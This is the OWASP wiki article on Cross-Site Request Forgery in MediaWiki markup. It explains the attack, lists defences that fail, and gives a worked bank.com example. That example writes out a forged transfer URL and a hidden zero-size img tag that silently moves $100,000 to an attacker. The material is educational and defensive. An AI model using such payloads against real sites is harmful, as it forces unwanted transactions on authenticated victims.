{{Template:Attack}}

[[Category:OWASP ASDR Project]]
<br>

Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

==Overview==
CSRF is an attack which forces an end user to execute unwanted actions on a web application in which he/she is currently authenticated. With a little help of social engineering (like sending a link via email/chat), an attacker may force the users of a web application to execute actions of the attacker's choosing. A successful CSRF exploit can compromise end user data and operation in case of normal user. If the targeted end user is the administrator account, this can compromise the entire web application.

==Related Security Activities==

===How to Review Code for CSRF Vulnerabilities===

See the [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on how to [[Reviewing code for Cross-Site Request Forgery issues |Reviewing code for CSRF]] Vulnerabilities.

===How to Test for CSRF Vulnerabilities===

See the [[:Category:OWASP Testing Project|OWASP Testing Guide]] article on how to [[Testing for CSRF (OWASP-SM-005) |Test for CSRF]] Vulnerabilities.

===How to Prevent CSRF Vulnerabilities===

See the [http://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet OWASP CSRF Prevention Cheat Sheet] for prevention measures.

Listen to the [http://www.owasp.org/download/jmanico/owasp_podcast_69.mp3 OWASP Top Ten CSRF Podcast].

John Melton also has an [http://www.jtmelton.com/2010/05/16/the-owasp-top-ten-and-esapi-part-6-cross-site-request-forgery-csrf/ excellent blog post] describing how to use the native anti-CSRF functionality of the [http://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API OWASP ESAPI].

==Description==
Cross-Site Request Forgery (CSRF) is an attack that tricks the victim into loading a page that contains a malicious request. It is malicious in the sense that it inherits the identity and privileges of the victim to perform an undesired function on the victim's behalf, like change the victim's e-mail address, home address, or password, or purchase something. CSRF attacks generally target functions that cause a state change on the server but can also be used to access sensitive data.

For most sites, browsers will automatically include with such requests any credentials associated with the site, such as the user's session cookie, basic auth credentials, IP address, Windows domain credentials, etc. Therefore, if the user is currently authenticated to the site, the site will have no way to distinguish this from a legitimate user request.

In this way, the attacker can make the victim perform actions that they didn't intend to, such as logout, purchase item, change account information, retrieve account information, or any other function provided by the vulnerable website.

Sometimes, it is possible to store the CSRF attack on the vulnerable site itself. Such vulnerabilities are called Stored CSRF flaws. This can be accomplished by simply storing an IMG or IFRAME tag in a field that accepts HTML, or by a more complex cross-site scripting attack. If the attack can store a CSRF attack in the site, the severity of the attack is amplified. In particular, the likelihood is increased because the victim is more likely to view the page containing the attack than some random page on the Internet. The likelihood is also increased because the victim is sure to be authenticated to the site already.

Synonyms: CSRF attacks are also known by a number of other names, including XSRF, "Sea Surf", Session Riding, Cross-Site Reference Forgery, Hostile Linking. Microsoft refers to this type of attack as a One-Click attack in their threat modeling process and many places in their online documentation.

===Prevention measures that do '''NOT''' work===
;Using a secret cookie
:Remember that all cookies, even the ''secret'' ones, will be submitted with every request. All authentication tokens will be submitted regardless of whether or not the end-user was tricked into submitting the request. Furthermore, session identifiers are simply used by the application container to associate the request with a specific session object. The session identifier does not verify that the end-user intended to submit the request.

;Only accepting POST requests
:Applications can be developed to only accept POST requests for the execution of business logic. The misconception is that since the attacker cannot construct a malicious link, a CSRF attack cannot be executed. Unfortunately, this logic is incorrect. There are numerous methods in which an attacker can trick a victim into submitting a forged POST request, such as a simple form hosted in attacker's website with hidden values. This form can be triggered automatically by JavaScript or can be triggered by the victim who thinks form will do something else.


==Examples==

===How does the attack work?===
There are numerous ways in which an end-user can be tricked into loading information from or submitting information to a web application. In order to execute an attack, we must first understand how to generate a malicious request for our victim to execute. Let us consider the following example: Alice wishes to transfer $100 to Bob using bank.com. The request generated by Alice will look similar to the following:

POST <nowiki>http://bank.com/transfer.do</nowiki> HTTP/1.1
...
...
...
Content-Length: 19;

acct=BOB&amount=100

However, Maria notices that the same web application will execute the same transfer using URL parameters as follows:

GET <nowiki>http://bank.com/transfer.do?acct=BOB&amount=100</nowiki> HTTP/1.1

Maria now decides to exploit this web application vulnerability using Alice as her victim. Maria first constructs the following URL which will transfer $100,000 from Alice's account to her account:

<nowiki>http://bank.com/transfer.do?acct=MARIA&amount=100000</nowiki>

Now that her malicious request is generated, Maria must trick Alice into submitting the request. The most basic method is to send Alice an HTML email containing the following:

<nowiki><a href="http://bank.com/transfer.do?acct=MARIA&amount=100000">View my Pictures!</a></nowiki>

Assuming Alice is authenticated with the application when she clicks the link, the transfer of $100,000 to Maria's account will occur. However, Maria realizes that if Alice clicks the link, then Alice will notice that a transfer has occurred. Therefore, Maria decides to hide the attack in a zero-byte image:

<nowiki><img src="http://bank.com/transfer.do?acct=MARIA&amount=100000" width="1" height="1" border="0"></nowiki>

If this image tag were included in the email, Alice would only see a little box indicating that the browser could not render the image. However, the browser ''will still'' submit the request to bank.com without any visual indication that the transfer has taken place.


==Related [[Attacks]]==
* [[Cross-site Scripting (XSS)]]
* [[Cross Site History Manipulation (XSHM)]]


==Related [[Controls]]==
* Add a per-request nonce to URL and all forms in addition to the standard session. This is also referred to as "form keys". Many frameworks (ex, Drupal.org 4.7.4+) either have or are starting to include this type of protection "built-in" to every form so the programmer does not need to code this protection manually.
* TBD: Add a per-session nonce to URL and all forms
* TBD: Add a hash(session id, function name, server-side secret) to URL and all forms
* TBD: .NET - add session identifier to ViewState with MAC
* Checking the referrer in the client's HTTP request will prevent CSRF attacks. By ensuring the HTTP request have come from the original site means that the attacks from other sites will not function. It is very common to see referrer checks used on embedded network hardware due to memory limitations. XSS can be used to bypass both referrer and token based checks simultaneously. For instance the Sammy Worm used an XHR to obtain the CSRF token to forge requests.
* "Although cross-site request forgery is fundamentally a problem with the web application, not the user, users can help protect their accounts at poorly designed sites by logging off the site before visiting another, or clearing their browser's cookies at the end of each browser session." -http://en.wikipedia.org/wiki/Cross-site_request_forgery#_note-1
* [[Tokenizing]]

==References==
* [http://www.cgisecurity.com/articles/csrf-faq.shtml The Cross-Site Request Forgery (CSRF/XSRF) FAQ]
: ''quote: "This paper serves as a living document for Cross-Site Request Forgery issues. This document will serve as a repository of information from existing papers, talks, and mailing list postings and will be updated as new information is discovered."''

* [[Testing for CSRF (OWASP-SM-005)|Testing for CSRF]]
: CSRF (aka Session riding) paper from the OWASP Testing Guide project (need to integrate)

* [http://www.darkreading.com/document.asp?doc_id=107651&WT.svl=news1_2 CSRF Vulnerability: A 'Sleeping Giant']
: Overview Paper

* [http://www.owasp.org/index.php/Image:RequestRodeo-MartinJohns.pdf Client Side Protection against Session Riding]
: Martin Johns and Justus Winter's interesting paper and presentation for the 4th OWASP AppSec Conference which described potential techniques that browsers could adopt to automatically provide CSRF protection - [http://www.owasp.org/index.php/Image:RequestRodeo-MartinJohns.pdf PDF paper]

* [[:Category:OWASP_CSRFGuard_Project|OWASP CSRF Guard]]
: J2EE, .NET, and PHP Filters which append a unique request token to each form and link in the HTML response in order to provide universal coverage against CSRF throughout your entire application.

* [http://yehg.net/lab/pr0js/view.php/A_Most-Neglected_Fact_About_CSRF.pdf A Most-Neglected Fact About Cross Site Request Forgery (CSRF) ]
: Aung Khant, http://yehg.net, explained the danger and impact of CSRF with imperiling scenarios.

* [[:Category:OWASP CSRFTester Project|OWASP CSRF Tester]]
: The OWASP CSRFTester gives developers the ability to test their applications for CSRF flaws.

* [http://code.google.com/p/pinata-csrf-tool/ Pinata-CSRF-Tool: CSRF POC tool]
: Pinata makes it easy to create Proof of Concept CSRF pages. Assists in Application Vulnerability Assessment.

[[Category:Exploitation of Authentication]]
[[Category:Embedded Malicious Code]]
[[Category:Spoofing]]
[[Category: Attack]]